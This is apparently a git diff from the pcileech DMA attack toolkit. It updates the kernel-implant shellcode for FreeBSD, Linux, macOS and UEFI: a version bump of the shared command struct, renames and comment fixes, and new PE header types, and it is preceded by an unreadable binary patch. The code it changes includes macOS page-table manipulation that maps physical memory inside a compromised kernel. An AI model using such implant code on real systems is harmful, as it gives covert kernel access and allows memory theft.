zeO^Ln+S$@W2vLo_)=dae=SL3H?>Aem&W{Npa^h3X2m`R{wEYetM7f1dRie%A5a(Wv zPJ}Ah8bo6(ql6G;YEx?oA&SbvAwr14sW9^qK|!a!k`N-M`XNGy=(&v$BAbPQ5W3mR_lG7UCiuqCcA_XqWsLXp-k&Mrn((Xrzs&cTkC`Du?6L4 zrpstWjM`SCT624DM-`IWGp=^Rs&mhtBZMe%w2N-`B3=Zf8>vSe;`17EqYjX!03Sp?X%cW44Fn$TCxj@sl&fPXpNb61pWFblWZcB!By2U$AvK83WIwn;2oV9u z5JI!H#cUl$^|^KzQC-Z`M$iKuc|RdUHSSH*2_ZVdgb+exCWH{8v6bd>Ue2|XDMILC z{aYI~qn@Nldf3G({O?sPLP7IHQ*IQw)5K>c;xL_r5REuf*<+Tej4nv~Jraoe zuI_fR45Dy$3I~ZH$LZTn0ue9fuMMp_=n(yOBvW>l1fmi?kU(TlmPB()n7&0**LeieXnVd&?yW*2oqUwDu#(pp|bt%6q zPEyz6v-$hvK7Lp575ZPVzA$+4=+|@Q&tLpe17Ezao%_x9hqQ1W{^323Xi>QBt*4&S zV(J&i|6HuajL$0%?bD+4)Vn`!(V{GwXc^OD&da---_vn1cVXtu16s^q=I?LU;*Nzw zOZWo)jStr>dsmB!$HPS%wYYoVw(fo{7Wbb2W|tOABh3eYqD9rmryswh#qz)SE`6@W sirGu9|5A&U_kE`%`v1R2?qrl-{T^Xr`25vRk{SQ=o8*vp?ylnh0K1PBrvLx| delta 4436 zcmYkAeQaCR8HaD2k6NW`ytWiG+F^>3ytZQ=E#RuDa8RtAwk{Z@q|q9{YyoAg+brs8 z0irpndsw_%k3fnNi59%Urbz3gh!*W8?TVqLC(zJFqhbXLbilw`GsvV4Nrl``&Zk^Pb;5_nzpL&o!>Paqd*ZYa>mI){Xyl;pWet`sJ>{_<=1i74}8mzV>|f z$=kCJ-t^lIRaWKq?iH2x!6lWpeA5GMJr&ZZ!RQ7{um7NNd>iw3b><{leSRXiX z@X@W$RrL)-s`@>XmkzvA74_U-H!#aH?Wb?Gjpmm~! zVu3To8 z!gT|s8CMU?_GapS%A{RF&x^GZUM~&E7CE|FV}=&cqgYSJ*=)79i)ei3Jzs zDQZ5tg@T%+~6YC6YJUC%un^dknXksbGMl$K3 zZvz)}Wv5aHOsu<;q>S#7)a*BGqqjk?=WjV-v=qGDLYeh;$Ud738{H2r`_x2@-T^gO zRhG%6QV_yy=?SJ$lmI!GWrxm zmpP+9piKwEPzmDEGe%Fj6d-OI;#W5M3{8t)7mYp(rLST3^aabxa7lvvWw^O)KgFzp zq##Cnp=z~a#OPU&92xE7Z(62a&x7K@HoEphE#3p%ZUH108y$e`V|YUcp=dncZgdC= zrtHH;FNMU#MrXnZ4b{YG~}U+kGr;3f%d z#+y0?*+)u@E-h#2(daJdXOl}_F}fR4xn@SvBSau3gr+Z+sZ1XIf!;GNpGf5;z2w$L_rx6GCrpk(n((&F(m#fsT}pGP+@jE03MSgwUWTPJ$y)t~mtl zg~;G6MzX3Daao&Ayh7xH710L_1n-=?j;hJ zmN;2ab(gEfNw8bAKDk|wXe!%*387#>((i+muMye~-RAB6Cnki-Gq@t7cYwX`m1kf= z$g)=A>Yb4NqReLjTHE<6FDoI`WFKbb8itmMtwdBGJWFRPlh$*Y!N zLP+`4N=yhH-8@b*v!F^cK8P7*n&v@k-4y&#C9MTe>4Kyca5Y|GIw<7&CSf+>xq4WcCHUSN|u2>Jr z;4vZ8!vQ9Qlznr?hYJN)G&08>(3Y8_Gch5=kNh`5Es4`>Fd@`rOI#XKOgAPJ%62fi zZYW^My!SxNI|beb*=v*6U_!_>oZb#K_MW2Wekg+p3ETlzPc~BOA*gtN9S+zDIXoRk z7a*%?38Q-kDz~&z^kJx&Ucj}xAtsi%5sAY{m=GcZ9%Bb;^kw&9La0*JqQuqfhcICV zWa{W<9O407fe9g|4s8<39tv;7giz&`bONe8`6nUwt3;oI+z%7|0hFDRH);v8c{^c3 z=nZ8b!-UY-xj_#mgyN-NpU>bzkcG0qN(k|zgjS7ZttpfzF(IV#b_o+gv)yXVg6wHo zczqC`p7?v7OL7xGRJu}@>IG0)*|RYrq_U&lcz#s6#*6%A!Lu@}<&qFb_1m^tV>Rv~ zxRgVQ$CFS;Fv11Pp}6}A6M@2fL9#Fk`K7xkWT~;M@Fev3C+}W|C!sm_%y}M9LUJ=a z3GH*|bUkF{x-)ds21c9Yjo1z;yN>E5A-m7Z1a?Ru6~~j%?|P)0O`<8g2Twv?H|aE_ zYAyWSC1>3$x}k?F3!`W%_ia2Wars-i@FbK`_QQRwjB*+sQ$jhPVh(mdt;upLo`jH~ zolwe6wE)pgC!T~Vl^KS@vWToX}_awyQ7~<_LT0CFN!U#3-;esbC zX9IZBJ!>Duf79TyzstMv3{-9n(9PLOAl+PW1Em|QmT7W76>1=ELN{K>irYt77@Gkr4;cRZz}vO7<1fGTi%qoNRiT63Dz}a*t_yLjWT#8tGI6*~ zZhONIXERiHi{}3Gz LdC&A^kJtVmmUcRg diff --git a/pcileech_shellcode/fbsdx64_common.h b/pcileech_shellcode/fbsdx64_common.h index a4dfb9e..3303f49 100644 --- a/pcileech_shellcode/fbsdx64_common.h +++ b/pcileech_shellcode/fbsdx64_common.h @@ -27,7 +27,7 @@ typedef unsigned long STATUS; * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and * the pcileech program. -* VNR: 002 +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. @@ -38,11 +38,11 @@ typedef struct tdKMDDATA { QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. QWORD _status; // [0x030] status of operation QWORD _result; // [0x038] result of operation TRUE|FALSE - QWORD _address; // [0x040] virtual address to operate on. + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. diff --git a/pcileech_shellcode/fbsdx64_stage3_c.c b/pcileech_shellcode/fbsdx64_stage3_c.c index ac7ac26..de8378c 100644 --- a/pcileech_shellcode/fbsdx64_stage3_c.c +++ b/pcileech_shellcode/fbsdx64_stage3_c.c @@ -1,7 +1,7 @@ // fbsdx64_stage3_c.c : stage3 main shellcode. // Compatible with FreeBSD x64. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // @@ -55,30 +55,30 @@ typedef struct tdFNBSD { // function pointers to BSD functions and structs * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and * the pcileech program. -* VNR: 002 +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. QWORD _status; // [0x030] status of operation QWORD _result; // [0x038] result of operation TRUE|FALSE - QWORD _address; // [0x040] virtual address to operate on. + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] FNBSD fn; // [0x300] used by shellcode to store function pointers. @@ -217,4 +217,4 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) pk->_op = KMD_CMD_COMPLETED; idleCount = 0; } -} \ No newline at end of file +} diff --git a/pcileech_shellcode/lx64_common.h b/pcileech_shellcode/lx64_common.h index 072ed62..ee71a39 100644 --- a/pcileech_shellcode/lx64_common.h +++ b/pcileech_shellcode/lx64_common.h @@ -35,33 +35,33 @@ extern QWORD m_page_to_phys(QWORD p1); extern VOID CacheFlush(); /* -* KMD DATA struct. This struct must be contained in a 4096 byte section (page) -* at the most. This data struct is used to communicate between the inserted -* kernel code and the DMA reader/writer. -* VNR: 002 +* KMD DATA struct. This struct must be contained in a 4096 byte section (page). +* This page/struct is used to communicate between the inserted kernel code and +* the pcileech program. +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. - QWORD _status; // [0x030] - QWORD _result; // [0x038] - QWORD _address; // [0x040] virtual address to operate on. + QWORD _status; // [0x030] status of operation + QWORD _result; // [0x038] result of operation TRUE|FALSE + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] PVOID fn[32]; // [0x300] used by shellcode to store function pointers. diff --git a/pcileech_shellcode/lx64_stage3_c.c b/pcileech_shellcode/lx64_stage3_c.c index 3d71c3d..495f0e0 100644 --- a/pcileech_shellcode/lx64_stage3_c.c +++ b/pcileech_shellcode/lx64_stage3_c.c @@ -55,30 +55,30 @@ typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main co * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and * the pcileech program. -* VNR: 002 +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/OSX). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. QWORD _status; // [0x030] status of operation QWORD _result; // [0x038] result of operation TRUE|FALSE - QWORD _address; // [0x040] virtual address to operate on. + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] FNLX fn; // [0x300] used by shellcode to store function pointers. diff --git a/pcileech_shellcode/macos_common.c b/pcileech_shellcode/macos_common.c index cd84620..e8b9fa0 100644 --- a/pcileech_shellcode/macos_common.c +++ b/pcileech_shellcode/macos_common.c @@ -89,7 +89,7 @@ BOOL GetMemoryMap(PKMDDATA pk, PBYTE pbBuffer4k_PhysicalMemoryRange, PQWORD pcbB QWORD MapMemoryPhysical(PKMDDATA pk, QWORD qwMemoryBase) { for(DWORD i = 0; i < 512 * 8; i++) { // PT*8 -> Pages (16MB) - ((PQWORD)(pk->ReservedKMD + 0x2000))[i] = 0x0000000000000003 | (qwMemoryBase + 0x1000 * i); + ((PQWORD)(pk->ReservedKMD[0] + 0x2000))[i] = 0x0000000000000003 | (qwMemoryBase + 0x1000 * i); } PageFlush(); return 0xffffee8000000000; diff --git a/pcileech_shellcode/macos_common.h b/pcileech_shellcode/macos_common.h index 649a131..83955e9 100644 --- a/pcileech_shellcode/macos_common.h +++ b/pcileech_shellcode/macos_common.h @@ -63,30 +63,30 @@ typedef struct tdFNMACOS { // function pointers to macOS functions (used in main * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and * the pcileech program. -* VNR: 002 +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/MACOS). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. QWORD _status; // [0x030] status of operation QWORD _result; // [0x038] result of operation TRUE|FALSE - QWORD _address; // [0x040] virtual address to operate on. + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] FNMACOS fn; // [0x300] used by shellcode to store function pointers. diff --git a/pcileech_shellcode/macos_stage3_c.c b/pcileech_shellcode/macos_stage3_c.c index 7896b3b..f6ab241 100644 --- a/pcileech_shellcode/macos_stage3_c.c +++ b/pcileech_shellcode/macos_stage3_c.c @@ -85,7 +85,7 @@ typedef struct tdPHYSICAL_MEMORY_RANGE { QWORD NumberOfBytes; } PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; -typedef struct tdFNOSX { // function pointers to OSX functions (used in main control program) +typedef struct tdFNMACOS { // function pointers to macOS functions (used in main control program) QWORD _kernel_map; QWORD _PE_state; QWORD IOFree; @@ -98,7 +98,7 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con QWORD memset; QWORD vm_protect; QWORD ReservedFutureUse[21]; -} FNOSX, *PFNOSX; +} FNMACOS, *PFNMACOS; #define KMDDATA_OPERATING_SYSTEM_MACOS 0x04 @@ -106,33 +106,33 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and * the pcileech program. -* VNR: 002 +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/MACOS). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. QWORD _status; // [0x030] status of operation QWORD _result; // [0x038] result of operation TRUE|FALSE - QWORD _address; // [0x040] virtual address to operate on. + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] - FNOSX fn; // [0x300] used by shellcode to store function pointers. + FNMACOS fn; // [0x300] used by shellcode to store function pointers. CHAR dataInStr[MAX_PATH]; // [0x400] string in-data CHAR ReservedFutureUse2[252]; CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data @@ -239,7 +239,7 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) } *(PQWORD)(qwPT_VA + 0x0000) = 0x0000000000000023 | (qwPT_PA + 0x1000); // PDPT -> PD *(PQWORD)(VM_MIN_KERNEL_ADDRESS + (qwCR3 & 0x00000000fffff000) + 0xEE8) = 0x0000000000000023 | qwPT_PA; // PML4 -> PDPT - pk->ReservedKMD = qwPT_VA; + pk->ReservedKMD[0] = qwPT_VA; // 3: main command loop. while(TRUE) { pk->_status = 1; diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj b/pcileech_shellcode/pcileech_shellcode.vcxproj index 6540119..c28983c 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj @@ -66,6 +66,8 @@ + + @@ -95,6 +97,7 @@ + diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters index f7dc13c..ea36919 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters @@ -135,6 +135,12 @@ Source Files\test + + Source Files\exec + + + Source Files\exec + @@ -203,6 +209,9 @@ Source Files\kmd_core + + Source Files\exec + diff --git a/pcileech_shellcode/uefi_common.h b/pcileech_shellcode/uefi_common.h index b2950b7..19fc6d2 100644 --- a/pcileech_shellcode/uefi_common.h +++ b/pcileech_shellcode/uefi_common.h @@ -14,11 +14,12 @@ typedef void VOID, *PVOID; typedef int BOOL, *PBOOL; typedef unsigned char BYTE, *PBYTE; -typedef char CHAR, *PCHAR; +typedef char CHAR, *PCHAR, *LPSTR; typedef unsigned short WCHAR, *PWCHAR; typedef unsigned short WORD, *PWORD; -typedef unsigned long DWORD, *PDWORD; -typedef unsigned __int64 QWORD, *PQWORD; +typedef unsigned long DWORD, *PDWORD, LONG; +typedef __int64 LONGLONG; +typedef unsigned __int64 QWORD, *PQWORD, ULONGLONG; typedef void *HANDLE; typedef unsigned long STATUS; #define NULL ((void *)0) @@ -27,35 +28,37 @@ typedef unsigned long STATUS; #define FALSE 0 #define UNREFERENCED_PARAMETER(P) (P) #define LOOKUP_FUNCTION(pk, szFn) (SysVCall(pk->AddrKallsymsLookupName, szFn)) +#define min(a, b) ((a < b) ? a : b) +#define max(a, b) ((a > b) ? a : b) /* -* KMD DATA struct. This struct must be contained in a 4096 byte section (page) -* at the most. This data struct is used to communicate between the inserted -* kernel code and the DMA reader/writer. -* VNR: 002 +* KMD DATA struct. This struct must be contained in a 4096 byte section (page). +* This page/struct is used to communicate between the inserted kernel code and +* the pcileech program. +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. - QWORD _status; // [0x030] - QWORD _result; // [0x038] - QWORD _address; // [0x040] virtual address to operate on. + QWORD _status; // [0x030] status of operation + QWORD _result; // [0x038] result of operation TRUE|FALSE + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] PVOID fn[32]; // [0x300] used by shellcode to store function pointers. @@ -100,8 +103,8 @@ extern VOID SetMem( QWORD Value); extern VOID CopyMem( - QWORD *Destination, - QWORD *Source, + VOID *Destination, + VOID *Source, QWORD Length); extern QWORD LocateProtocol( @@ -158,16 +161,134 @@ typedef struct { } SIMPLE_TEXT_OUTPUT_MODE; typedef struct _EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL { - QWORD Reset; + QWORD(*Reset)(QWORD *This, QWORD *ExtendedVerification); QWORD(*OutputString)(QWORD *This, WCHAR *String); - QWORD TestString; - QWORD QueryMode; - QWORD SetMode; + QWORD(*TestString)(QWORD *This, WCHAR *String); + QWORD(*QueryMode)(QWORD *This, QWORD ModeNumber, QWORD *Columns, QWORD *Rows); + QWORD(*SetMode)(QWORD *This, QWORD ModeNumber); QWORD(*SetAttribute)(QWORD *This, QWORD Attribute); QWORD(*ClearScreen)(QWORD *This); - QWORD SetCursorPosition; - QWORD EnableCursor; + QWORD(*SetCursorPosition)(QWORD *This, QWORD Column, QWORD Row); + QWORD(*EnableCursor)(QWORD *This, QWORD Visible); SIMPLE_TEXT_OUTPUT_MODE *Mode; } EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL; +//------------------------------------------------------------------------------- +// PE / Windows defines below: +//------------------------------------------------------------------------------- + +#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory +#define IMAGE_DOS_SIGNATURE 0x5A4D // MZ +#define IMAGE_NT_SIGNATURE 0x00004550 // PE00 +#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 +#define PIMAGE_NT_HEADERS PIMAGE_NT_HEADERS64 + +typedef struct _IMAGE_DOS_HEADER { + WORD e_magic; + WORD e_cblp; + WORD e_cp; + WORD e_crlc; + WORD e_cparhdr; + WORD e_minalloc; + WORD e_maxalloc; + WORD e_ss; + WORD e_sp; + WORD e_csum; + WORD e_ip; + WORD e_cs; + WORD e_lfarlc; + WORD e_ovno; + WORD e_res[4]; + WORD e_oemid; + WORD e_oeminfo; + WORD e_res2[10]; + LONG e_lfanew; +} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; + +typedef struct _IMAGE_EXPORT_DIRECTORY { + DWORD Characteristics; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + DWORD Name; + DWORD Base; + DWORD NumberOfFunctions; + DWORD NumberOfNames; + DWORD AddressOfFunctions; + DWORD AddressOfNames; + DWORD AddressOfNameOrdinals; +} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; + +typedef struct _IMAGE_FILE_HEADER { + WORD Machine; + WORD NumberOfSections; + DWORD TimeDateStamp; + DWORD PointerToSymbolTable; + DWORD NumberOfSymbols; + WORD SizeOfOptionalHeader; + WORD Characteristics; +} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; + +typedef struct _IMAGE_DATA_DIRECTORY { + DWORD VirtualAddress; + DWORD Size; +} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; + +typedef struct _IMAGE_OPTIONAL_HEADER64 { + WORD Magic; + BYTE MajorLinkerVersion; + BYTE MinorLinkerVersion; + DWORD SizeOfCode; + DWORD SizeOfInitializedData; + DWORD SizeOfUninitializedData; + DWORD AddressOfEntryPoint; + DWORD BaseOfCode; + ULONGLONG ImageBase; + DWORD SectionAlignment; + DWORD FileAlignment; + WORD MajorOperatingSystemVersion; + WORD MinorOperatingSystemVersion; + WORD MajorImageVersion; + WORD MinorImageVersion; + WORD MajorSubsystemVersion; + WORD MinorSubsystemVersion; + DWORD Win32VersionValue; + DWORD SizeOfImage; + DWORD SizeOfHeaders; + DWORD CheckSum; + WORD Subsystem; + WORD DllCharacteristics; + ULONGLONG SizeOfStackReserve; + ULONGLONG SizeOfStackCommit; + ULONGLONG SizeOfHeapReserve; + ULONGLONG SizeOfHeapCommit; + DWORD LoaderFlags; + DWORD NumberOfRvaAndSizes; + IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; +} IMAGE_OPTIONAL_HEADER64, 